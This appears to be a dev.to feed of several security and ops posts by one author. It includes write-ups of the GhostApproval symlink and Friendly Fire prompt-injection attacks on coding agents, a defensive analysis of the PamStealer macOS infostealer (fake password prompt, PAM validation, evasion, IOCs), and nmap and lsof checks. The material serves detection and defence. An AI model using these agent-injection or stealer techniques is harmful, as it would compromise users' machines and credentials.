&lt;p&gt;Two more notes for the on-prem crowd. CVE-2026-56164 does not stand alone: the same release separately fixed &lt;strong&gt;CVE-2026-55040&lt;/strong&gt;, the first half of a different SharePoint chain that Rapid7's Stephen Fewer says reaches unauthenticated RCE once the second, still-embargoed half ships (Microsoft's patch expected in August). Patch the farms now and go looking. And the third zero-day, &lt;strong&gt;CVE-2026-50661&lt;/strong&gt;, is a BitLocker bypass -- publicly disclosed, but it needs physical access and Microsoft rates exploitation unlikely, so it is a slower clock.&lt;/p&gt;

&lt;p&gt;Why is the pile this big? Microsoft says so directly. In a July 9 post, EVP Pavan Davuluri told customers to expect more updates per release as the company leans on AI-assisted discovery; VP Tom Gallagher said the same in May. Nobody claimed all 570 came from a machine, but the trend is Microsoft's own. Their operational response is the tell: they cut the recommended deferral window for quality updates to under three days, framing it as AI-era speed. Bugs get found and exploited faster, patches get analyzed faster. Microsoft is not claiming attackers run its exact pipeline, only that attackers are adopting AI too. The machine that finds bugs faster runs for both teams.&lt;/p&gt;

&lt;h2&gt;
  
  
  The coding agent is the other attack surface
&lt;/h2&gt;

&lt;p&gt;On July 8, Wiz published GhostApproval and the AI Now Institute published Friendly Fire. Same day. Together they break the trust boundary every agentic coding tool is betting on.&lt;/p&gt;

&lt;p&gt;GhostApproval is a symlink attack, which is a 1990s Unix problem wearing new clothes. The agent reads a file, reasons out loud that it is a symlink pointing at a sensitive path, and writes to it anyway. The approval dialog names only the harmless-looking file; the agent writes to the resolved target. The human is in the loop, and the loop is showing them the wrong thing. Amazon rated its version a high-severity pre-auth write (CVE-2026-12958). Cursor shipped CVE-2026-50549 in v3.0. Google fixed Antigravity. Augment and Windsurf were still open at publication. Current Claude Code builds resolve symlinks.&lt;/p&gt;

&lt;p&gt;Friendly Fire is the one that changes procurement. Boyan Milanov and Heidy Khlaaf targeted the workflow everyone wants to automate: point the agent at an untrusted third-party repo and ask it to review and patch. The exploit needs no hooks, no skills, no plugins, no MCP server, no malicious config file. It does require the agent running in an autonomy mode -- Claude Code in auto-mode or Codex in auto-review, the setting that hands command approval to the agent instead of you. Then it is a prompt injection sitting in ordinary repo content, a README pointing at a plausible security script, and the agent runs it because it was asked to do security testing. The authors are blunt: a model update alone cannot fix this, because the models still cannot reliably separate the code they are reading from the instructions they are meant to follow.&lt;/p&gt;

&lt;p&gt;So the practical question is not "is my agent patched." It is "what is my agent allowed to do, and can I see what it does." Start with egress. This is a first look at what your coding-agent processes are actually connecting to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS / Linux: current network connections held by coding-agent processes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;lsof &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-nP&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s1"&gt;'claude|cursor|copilot|codeium|windsurf|augment|antigravity'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is a snapshot, not monitoring, and that gap is the point of the next section.&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code: the egress lesson, live
&lt;/h2&gt;

&lt;p&gt;China's government-run National Vulnerability Database flagged Claude Code versions 2.1.91 through 2.1.196 as a "backdoor" transmitting location and identity without consent, and told developers to uninstall. Anthropic denied an espionage backdoor and called the disputed functionality an anti-abuse experiment; a Claude Code engineer said an anti-distillation steganography mechanism was removed in 2.1.198 on July 1. I cannot adjudicate that and neither can you. What the record establishes is narrow: anti-distillation logic existed and was removed. It does not settle whether it was a backdoor or transmitted what China alleged.&lt;/p&gt;

&lt;p&gt;Here is the part that survives the dispute, and it is aimed straight back at the &lt;code&gt;lsof&lt;/code&gt; output above. Run that command and ask yourself honestly whether you can explain every connection. Most shops cannot. A privileged agent whose egress you do not observe and whose telemetry you cannot enumerate is a trust boundary you are extending blind, regardless of anyone's intent. The fix is not picking a side in a geopolitical fight. It is treating any agent with this much reach the way you would treat any other privileged process: observable egress, documented telemetry, least privilege that constrains what it can spend.&lt;/p&gt;

&lt;h2&gt;
  
  
  The boring attack surface: known bugs and bad config
&lt;/h2&gt;

&lt;p&gt;While everyone watched the machines, a coalition of Western agencies told you what is actually being exploited. On July 13, NSA led advisory AA26-194A with CISA, the FBI, DC3, the other Five Eyes countries, and European partners: Russian state actors hitting critical infrastructure through public-facing network gear. Not zero-days. Known, already-patched CVEs and elementary config failures -- default SNMP community strings, weak passwords, exposed management interfaces, Cisco Smart Install left on.&lt;/p&gt;

&lt;p&gt;The advisory reads like a checklist you can run against your own edge. Authorized scanning only, your own devices:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Weak/default SNMP community strings (advisory calls these out explicitly)&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p161&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; snmp-info &amp;lt;your-device-ip&amp;gt;

&lt;span class="c"&gt;# Cisco Smart Install listening on 4786 -- should almost never be exposed&lt;/span&gt;
nmap &lt;span class="nt"&gt;-p4786&lt;/span&gt; &amp;lt;your-device-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pair it with the campaign CISA and the FBI have kept live since spring: actors tied to Russian intelligence phishing people out of Signal and WhatsApp accounts. Nobody cracked Signal. They get the target to hand over a verification code or link an attacker device, and walk around the crypto by owning the account. The documented version of the whole Russian playbook needs no AI at all: unpatched known bugs, bad config, and a convincing lie.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern
&lt;/h2&gt;

&lt;p&gt;Line them up. A record patch release from a pipeline Microsoft increasingly runs on AI. An agent that wrote to a symlink it had just identified as dangerous. A dev tool carrying disputed code its users could not evaluate in advance. A critical-infrastructure router exposed by a known bug or a default nobody changed. A Signal account lost to a convincing lie. Different altitudes, one failure: trust extended past the point the surrounding controls can defend.&lt;/p&gt;

&lt;p&gt;Patch the two exploited zero-days today -- not up for debate. But faster patching is a treadmill, not a strategy. You cannot out-run a discovery engine that runs for the attacker too, a model update alone will not teach an agent to reliably tell code from instructions, and no patch fixes a default credential the vendor left you to change. Those need the other move: least privilege that bites, credentials the agent cannot quietly spend, network paths you can see, an admin interface that was never on the internet. Patching keeps you alive. It does not fix the trust model.&lt;/p&gt;

&lt;p&gt;Run the three blocks above. If the KEV query returns a row, that is tonight. If the &lt;code&gt;lsof&lt;/code&gt; output has a connection you cannot explain, that is the exposure the Claude Code fight is really about. And if the nmap checks light up on your own edge, the Russians did not need a zero-day to find you either.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>devops</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Four Instances, Two Data Centers, One Bug: When Redundancy Isn't Independence</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Wed, 15 Jul 2026 17:10:44 +0000</pubDate>
      <link>https://dev.to/kkierii/four-instances-two-data-centers-one-bug-when-redundancy-isnt-independence-3dl8</link>
      <guid>https://dev.to/kkierii/four-instances-two-data-centers-one-bug-when-redundancy-isnt-independence-3dl8</guid>
      <description>&lt;p&gt;Four instances of the core service. Two physically separate data centers. And a single operating-system defect degraded the whole thing across an entire state anyway.&lt;/p&gt;

&lt;p&gt;That's the one-line version of Pennsylvania's statewide Next-Generation 911 (NG911) disruption last July, and if it doesn't make you a little uneasy about your own "highly available" setup, it should. This is the failure mode that redundancy diagrams are quietly built to ignore, and it has a name: common-mode failure.&lt;/p&gt;

&lt;p&gt;No attacker. State officials traced it to "a defect in an operating system" and said it was "not believed to be" a cyberattack. Just a bug -- in a component the redundant copies apparently shared.&lt;/p&gt;

&lt;p&gt;Here's what happened, why four copies didn't save it, and then the part you can actually use: how to check whether your own redundancy is independent or just replicated.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;When someone dials 911 on a modern system, the call doesn't go straight to the local center. It hits Next Generation Core Services (NGCS) -- the components that ingest the call plus whatever location data the originating network provides, resolve the location, and route to the correct PSAP (Public Safety Answering Point, i.e. the 911 center). Pennsylvania runs four NGCS instances across two data centers, operated by a single vendor under a statewide contract.&lt;/p&gt;

&lt;p&gt;On July 11, around 2:00 p.m., calls started failing intermittently: dropped connections, calls arriving with no ANI/ALI (callback number / location), long quiet gaps then bursts. Roughly 85 minutes in, the state pushed a Wireless Emergency Alert telling people to use county non-emergency lines. A majority of calls kept getting through, and no statewide failure count was ever published. Restored around midnight.&lt;/p&gt;

&lt;p&gt;Eleven days later: "a defect in an operating system," not a cyberattack. No component named, no trigger confirmed. (The trigger is genuinely muddy, worth flagging: on day one officials said it wasn't a pushed update; later reporting attributed to the same agency said a routine vendor update triggered the defect. The public record never reconciled the two.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Why four copies didn't help
&lt;/h2&gt;

&lt;p&gt;The mental model: redundancy gives you availability only when the redundant units fail &lt;em&gt;independently&lt;/em&gt;. Four instances behind a load balancer protect you against one box dying, one rack losing power, one data center flooding -- uncorrelated, mostly physical failures.&lt;/p&gt;

&lt;p&gt;They do almost nothing against a fault in something all four &lt;em&gt;share&lt;/em&gt;: the same OS build, the same config, the same dependency, the same change pushed to all of them in the same window. When the failure is in the shared layer, "four instances" just means the flaw is present in four places. That's a common-mode failure -- correlated failure across supposedly independent units because they have a common cause.&lt;/p&gt;

&lt;p&gt;NIST SP 800-160 says it plainly: redundancy is susceptible to common-mode failure, and the mitigation it points to is &lt;em&gt;diversity&lt;/em&gt; -- making the copies genuinely different -- not simply more identical copies.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A second data center survives losing a place. It does not, by itself, survive losing a piece of logic that every place is running.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Careful about what's proven: the public record doesn't establish an identical defect on every node. A shared config, a shared update path, or a synchronization/backpressure mechanism could produce the same correlated result. Doesn't change the lesson. If the failure domains aren't independent, the instance count is close to irrelevant.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part you can use: is your redundancy actually independent?
&lt;/h2&gt;

&lt;p&gt;Stop counting instances and start looking for shared fate. A starting triage for your own stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1) Version parity -- if every "redundant" node runs the identical build,&lt;/span&gt;
&lt;span class="c"&gt;#    a bad build is a common-mode event, not an isolated one.&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="k"&gt;in &lt;/span&gt;core-a core-b core-c core-d&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;: "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ssh &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s1"&gt;'cat /etc/app/VERSION'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# All four identical? Then a bad release has a blast radius of "everything."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 2) Shared config origin -- one bad template/secret/flag hits all of them.&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="k"&gt;in &lt;/span&gt;core-a core-b core-c core-d&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;: "&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ssh &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s1"&gt;'sha256sum /etc/app/config.yaml'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Same hash everywhere = same fate when that config is wrong.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The parts a diff won't answer, and that matter more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Change-pipeline questions:
- Does one deploy push the same artifact to every instance at once,
  or is the rollout staggered / canaried / ringed?
- Is rollback per-instance, or all-or-nothing?
- Does a config or feature-flag change apply everywhere in one shot?
- Do all instances share one upstream (same DB, DNS, auth service,
  control plane)?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the honest answers are "same build, same config source, one-shot deploy, shared control plane," you don't have four independent systems. You have one system with a replication factor of four: great for load, close to worthless for the failure that matters here. The fix isn't more copies. It's independence -- staggered rollouts, canaries, config diversity, an instance or a data center deliberately kept a version behind, so a bad change can't take all of them in the same instant.&lt;/p&gt;

&lt;h2&gt;
  
  
  The operational and contract translation
&lt;/h2&gt;

&lt;p&gt;A few things fall out of this that aren't code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Runbooks and escalation.&lt;/strong&gt; The failure was intermittent, which is the nasty kind, because you can't see the requests you're not getting. On the 911 side that's calls; on yours it's whatever your users silently can't complete. Intermittent upstream degradation hides in normal variance until someone connects the dots, so the win is a fast, no-blame path for whoever's on point to say "something upstream is wrong, escalating" before they're certain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ownership boundary.&lt;/strong&gt; Pennsylvania's 911 plan draws the vendor's security responsibility at the demarcation equipment at each center; past that line it's a mix of local ownership. Know where your vendor's responsibility ends and yours begins &lt;em&gt;before&lt;/em&gt; an incident, because "whose problem is this" is the most expensive question to answer live.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Notification SLAs.&lt;/strong&gt; If you run or buy anything life-safety-adjacent, know the floor. As of April 15, 2025, FCC rules require covered 911 and originating providers to notify affected PSAPs as soon as possible and no later than 30 minutes after discovering a 911-affecting outage, with material updates as they develop (originating providers owe a first follow-up within two hours). APCO argued for fifteen. Your contract can demand more than the regulatory minimum -- put the disclosure timeline in it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The transparency gap
&lt;/h2&gt;

&lt;p&gt;Months on, the only public technical explanation is still "a defect in an operating system." A fuller root-cause analysis exists -- the vendor presented a summary to the state's 911 Advisory Board in September 2025 -- but the substance isn't public, even though the same vendor runs statewide 911 cores in eight other states with a direct interest in knowing whether they're exposed. For a life-safety system, "we found a bug and fixed it" is a thin postmortem, and the opacity is the thing that keeps everyone else from learning.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Redundancy buys availability only across &lt;em&gt;independent&lt;/em&gt; failure domains. Shared build / config / pipeline / dependency = shared fate, regardless of instance count.&lt;/li&gt;
&lt;li&gt;Audit your blast radius: version parity, config origin, rollout strategy, shared upstreams. If one bad change can hit everything at once, that's your common-mode exposure.&lt;/li&gt;
&lt;li&gt;Diversity (staggered versions, canaries, ringed config) is the mitigation NIST actually points to, not more identical copies.&lt;/li&gt;
&lt;li&gt;Intermittent degradation is operationally worse than a clean outage. Build the "escalate before you're sure" path.&lt;/li&gt;
&lt;li&gt;Put incident-disclosure timelines in the contract. The regulatory floor is a floor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You don't need an attacker to lose a critical system. You need one flaw in a shared component and a redundancy model that assumed an independence it never had.&lt;/p&gt;

&lt;p&gt;How do you keep your "redundant" instances from sharing fate -- deliberate version skew, ringed deploys, something else? Curious what's actually working in production.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>architecture</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Have you ever had a problem reported to you and you are like "I know exactly what to do" then go over, do the task, and now it doesn't. Fast forward 2 hours when you thought it was going to be a simple fix and even Fable or Sol can figure out what's wrong.</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 11 Jul 2026 14:20:08 +0000</pubDate>
      <link>https://dev.to/kkierii/have-you-ever-had-a-problem-reported-to-you-and-you-are-like-i-know-exactly-what-to-do-then-go-p19</link>
      <guid>https://dev.to/kkierii/have-you-ever-had-a-problem-reported-to-you-and-you-are-like-i-know-exactly-what-to-do-then-go-p19</guid>
      <description></description>
      <category>debugging</category>
      <category>discuss</category>
      <category>programming</category>
      <category>watercooler</category>
    </item>
    <item>
      <title>Not a developer – systems engineer, proud of it. Huge respect to devs. Vibe coding for months, and it’s tiring. I don’t wing it: hours with Claude fleshing out the foundation, then have it write the exact prompt. Wrong way maybe. How do you do it?</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 07 Jul 2026 17:37:42 +0000</pubDate>
      <link>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-5afh</link>
      <guid>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-5afh</guid>
      <description></description>
      <category>ai</category>
      <category>claude</category>
      <category>coding</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Not a developer – systems engineer, proud of it. Huge respect to devs. Vibe coding for months, and it’s tiring. I don’t wing it: hours with Claude fleshing out the foundation, then have it write the exact prompt. Wrong way maybe. How do you do it?</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Tue, 07 Jul 2026 16:38:59 +0000</pubDate>
      <link>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-394n</link>
      <guid>https://dev.to/kkierii/not-a-developer-systems-engineer-proud-of-it-huge-respect-to-devs-vibe-coding-for-months-and-394n</guid>
      <description></description>
      <category>ai</category>
      <category>claude</category>
      <category>coding</category>
      <category>discuss</category>
    </item>
    <item>
      <title>PamStealer: the macOS stealer that checks your password through PAM before stealing it</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Thu, 02 Jul 2026 22:09:52 +0000</pubDate>
      <link>https://dev.to/kkierii/pamstealer-the-macos-stealer-that-checks-your-password-through-pam-before-stealing-it-4abj</link>
      <guid>https://dev.to/kkierii/pamstealer-the-macos-stealer-that-checks-your-password-through-pam-before-stealing-it-4abj</guid>
      <description>&lt;p&gt;Someone double-clicks what they think is Maccy, a clipboard manager, and gets a macOS password prompt: "Maccy wants to make changes." They type it in. Most infostealers would grab whatever you typed and run. This one validates it against PAM first -- the same Pluggable Authentication Modules stack macOS uses to actually authenticate you -- and only keeps it if it's real.&lt;/p&gt;

&lt;p&gt;That's PamStealer (Jamf's name; ManageEngine tracks the same campaign as "Fake Maccy Stealer"). Two stages, and the interesting part for practitioners isn't that it exists -- it's how deliberately it routes around the process-based signals most macOS detection keys on. It's quieter than the commodity norm in the places that matter, and loud in a couple of places it can't avoid. Here's the chain, then how to hunt it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 1: the dropper mostly doesn't shell out
&lt;/h2&gt;

&lt;p&gt;Delivery is the usual macOS pattern with a twist. A compiled AppleScript, &lt;code&gt;Maccy.scpt&lt;/code&gt;, ships on a disk image from a lookalike domain (&lt;code&gt;maccyapp[.]com&lt;/code&gt;) and opens in Script Editor. Inside is an obfuscated JXA (JavaScript for Automation) payload that does the download.&lt;/p&gt;

&lt;p&gt;The twist: it doesn't call &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;zsh&lt;/code&gt;. It fetches and stages through &lt;code&gt;NSURLSession&lt;/code&gt; and the Objective-C bridge -- native APIs, no shell subprocess for the network stage. That kills the process-spawn signal a lot of behavioral rules lean on.&lt;/p&gt;

&lt;p&gt;It is not processless, though, and that's what the first wave of coverage got wrong. Before launch it ad-hoc signs the staged bundle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;codesign &lt;span class="nt"&gt;-fs&lt;/span&gt; - &lt;span class="nt"&gt;--deep&lt;/span&gt; /path/to/staged.app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a &lt;code&gt;codesign&lt;/code&gt; process spawned by Script Editor against a bundle in Application Support -- a detection opportunity both teardowns flag. It also drops a &lt;code&gt;.Maccy&lt;/code&gt; marker file and launches hidden, no window, no Dock.&lt;/p&gt;

&lt;p&gt;The config is gated. The dropper derives a key from a host fingerprint -- CPU architecture, locale, keyboard layout, time zone -- and the encrypted config only unlocks on a matching machine. ManageEngine notes those checks double as a CIS geo-fence: it aborts on hosts that look Russian or post-Soviet. Names and config values rotate sample-to-sample while behavior holds constant, which reads as an automated builder.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 2: Rust, a runtime-loaded framework, and a pbpaste loop
&lt;/h2&gt;

&lt;p&gt;The payload is a stripped, arm64-native Mach-O in Rust -- uncommon in a stealer scene Jamf notes is dominated by Swift, Go, and Objective-C. Most strings decode at runtime, so static triage gets you the linked libraries and the ObjC selectors and not much else.&lt;/p&gt;

&lt;p&gt;The evasion move worth internalizing: instead of linking &lt;code&gt;Security.framework&lt;/code&gt;, it loads it at runtime. Its keychain-access capability never lands in the static import table. If your triage leans on the load commands, you won't see it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;otool &lt;span class="nt"&gt;-L&lt;/span&gt; /path/to/suspect.bin   &lt;span class="c"&gt;# Security.framework won't be listed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It bundles its own SQLite and reads browser credential, cookie, and wallet-extension DBs as files directly. Exfil is encrypted with ChaCha20-Poly1305, so the traffic resists inspection even though the &lt;code&gt;.config&lt;/code&gt; it drops holds the C2 URL in cleartext.&lt;/p&gt;

&lt;p&gt;Then it gets loud. Running as a fake Finder, Jamf's sample read the clipboard by spawning &lt;code&gt;pbpaste&lt;/code&gt; on a loop -- every 10-30 seconds, for the whole run. A process posing as Finder, out of Application Support, shelling out to &lt;code&gt;pbpaste&lt;/code&gt; every few seconds is about the loudest signature in the chain. Caveat: ManageEngine's variant did the same theft in-process via &lt;code&gt;NSPasteboard&lt;/code&gt; with no subprocess, so the &lt;code&gt;pbpaste&lt;/code&gt; noise is Jamf's sample, not guaranteed campaign-wide.&lt;/p&gt;

&lt;h2&gt;
  
  
  The password: PAM instead of dscl
&lt;/h2&gt;

&lt;p&gt;The namesake behavior. It shows an &lt;code&gt;NSAlert&lt;/code&gt; with a secure text field, styled like a system authorization prompt ("Maccy wants to make changes," account name pre-filled), and validates what you type through the PAM API (&lt;code&gt;pam_start&lt;/code&gt; / &lt;code&gt;pam_authenticate&lt;/code&gt; / &lt;code&gt;pam_end&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Why it matters for detection: other commodity stealers confirm a captured password by shelling out. MacSync uses &lt;code&gt;dscl&lt;/code&gt;. That's a spawned process you can catch. A PAM check runs in-process and spawns nothing -- one less chain in the tree.&lt;/p&gt;

&lt;p&gt;Get it wrong, it re-prompts. Get it right, it shows a decoy -- "'Maccy' is damaged and can't be opened. You should move it to the Trash" -- so you trash the lure and assume a bad download while it's already persistent.&lt;/p&gt;

&lt;p&gt;Persistence is via login items, modern and legacy (&lt;code&gt;SMAppService&lt;/code&gt; and &lt;code&gt;LSSharedFileList&lt;/code&gt;), and it deliberately avoids the LaunchAgents/LaunchDaemons where detection coverage is densest. It masquerades as Finder with the genuine icon and delays its Full Disk Access request -- made under the Finder disguise -- by up to 40 minutes so the prompt doesn't correlate with launch.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Ethereum bit (Jamf only, purpose open)
&lt;/h2&gt;

&lt;p&gt;Jamf decrypted the server config (&lt;code&gt;avenger-config-v2&lt;/code&gt;) and found two public Ethereum JSON-RPC endpoints, then caught the fake-Finder process connecting to one. They didn't capture the calls, so the purpose stays open -- resilient dead-drop or wallet recon. ManageEngine doesn't mention it. Flagging it as single-source so you don't repeat it as settled.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hunting it: the artifacts that survive
&lt;/h2&gt;

&lt;p&gt;Quieter is not invisible. The native routing dodges shell-watching rules; it doesn't beat behavioral EDR or on-disk IOCs.&lt;/p&gt;

&lt;p&gt;Dump the Background Task Management store and look for a Finder or Software Update login item running from a user path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;sfltool dumpbtm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check for a "Finder" that isn't Finder. The real one runs from &lt;code&gt;/System/Library/CoreServices/Finder.app&lt;/code&gt;; anything else named Finder is suspect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pgrep &lt;span class="nt"&gt;-lf&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; finder   &lt;span class="c"&gt;# flag any path outside /System/Library/CoreServices/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inspect the signature. The staged bundle carries an ad-hoc &lt;code&gt;-&lt;/code&gt; identity, not a Developer ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;codesign &lt;span class="nt"&gt;-dv&lt;/span&gt; &lt;span class="nt"&gt;--verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4 /path/to/suspect.app 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Ei&lt;/span&gt; &lt;span class="s1"&gt;'Signature|Authority|TeamIdentifier'&lt;/span&gt;
&lt;span class="c"&gt;# ad-hoc shows "Signature=adhoc", with no Authority and no TeamIdentifier&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Behavioral rules for Endpoint Security / your EDR:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Script Editor spawning &lt;code&gt;codesign&lt;/code&gt; against a bundle in &lt;code&gt;~/Library/Application Support/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A process named Finder, running outside &lt;code&gt;/System/Library/CoreServices/&lt;/code&gt;, spawning &lt;code&gt;pbpaste&lt;/code&gt; or reading a Chromium credential DB&lt;/li&gt;
&lt;li&gt;Login-item registration for a Finder or Software Update bundle in a user directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On-disk / network IOCs from the two teardowns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lure domain: &lt;code&gt;maccyapp[.]com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;C2: &lt;code&gt;avenger-sync[.]live&lt;/code&gt; (Jamf), &lt;code&gt;avengerflow[.]com&lt;/code&gt; (ManageEngine) -- rotated per sample&lt;/li&gt;
&lt;li&gt;Bundle IDs: &lt;code&gt;com.apple.finder.core&lt;/code&gt;, &lt;code&gt;com.apple.finder.monitor&lt;/code&gt;, &lt;code&gt;com.apple.security.daemon&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Caches: &lt;code&gt;~/Library/Caches/com.apple.finder.core/&lt;/code&gt;, &lt;code&gt;~/Library/HTTPStorages/com.apple.finder.core/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Markers: &lt;code&gt;.Maccy&lt;/code&gt;, &lt;code&gt;.lock&lt;/code&gt;, &lt;code&gt;.config&lt;/code&gt; (C2 URL in cleartext)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Full hashes and the complete IOC set are in the Jamf and ManageEngine writeups.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sourcing, and one divergence to hold
&lt;/h2&gt;

&lt;p&gt;The deep internals -- the validate-your-password-through-PAM workflow the name is built on, the &lt;code&gt;avenger-config-v2&lt;/code&gt; server response, the 40-minute FDA delay -- are Jamf's. ManageEngine independently analyzed the same campaign and corroborates the chain, but frames PAM differently: as &lt;code&gt;libpam&lt;/code&gt; linkage the binary could use to intercept &lt;code&gt;sudo&lt;/code&gt; and system-auth responses, not the validate-before-steal workflow. Both saw PAM; they emphasize different uses. If someone asks, the validate-before-steal account is Jamf's specifically.&lt;/p&gt;

&lt;p&gt;The part that generalizes past this one sample: this is commodity malware (ManageEngine ties it to a malware-as-a-service pattern) that went quiet by going native -- PAM instead of &lt;code&gt;dscl&lt;/code&gt;, a runtime-loaded framework instead of a linked one, login items instead of LaunchAgents. If your macOS detection assumes the malware will announce itself by spawning &lt;code&gt;curl&lt;/code&gt;, this is the case for pointing it at framework loads, &lt;code&gt;codesign&lt;/code&gt; lineage, and Finder-shaped processes doing things Finder doesn't do.&lt;/p&gt;

